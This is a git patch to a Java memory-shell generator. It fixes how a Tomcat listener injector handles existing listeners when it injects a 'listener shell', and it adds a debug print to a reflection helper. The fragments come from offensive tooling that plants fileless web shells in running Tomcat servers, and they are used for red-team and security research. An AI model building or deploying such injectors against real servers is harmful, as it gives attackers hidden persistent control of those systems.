From 1c28a5d4ba7ee549a5d0bf8226a5ee272bebfcc9 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Thu, 28 Aug 2025 00:32:30 +0800 Subject: [PATCH] fix: Tomcat old listeners not work when inject listener shell (#93) --- .../memshell/injector/tomcat/TomcatListenerInjector.java | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java index 37fababd..6f05be93 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java @@ -94,7 +94,7 @@ public class TomcatListenerInjector { listeners.add(listener); System.out.println("listener inject successful"); } else { - ArrayList arrayList = new ArrayList(Arrays.asList(objects)); + List arrayList = new ArrayList(Arrays.asList(((Object[]) objects))); for (Object o : arrayList) { if (o.getClass().getName().equals(getClassName())) { System.out.println("listener already injected"); @@ -195,6 +195,7 @@ public class TomcatListenerInjector { } method.setAccessible(true); + System.out.println(method.getDeclaringClass().getName() + "@" + String.valueOf(obj.hashCode()).substring(0, 4) + "." + methodName + " invoked"); return method.invoke(obj instanceof Class ? null : obj, param); } catch (Exception e) { throw new RuntimeException("Error invoking method: " + methodName, e);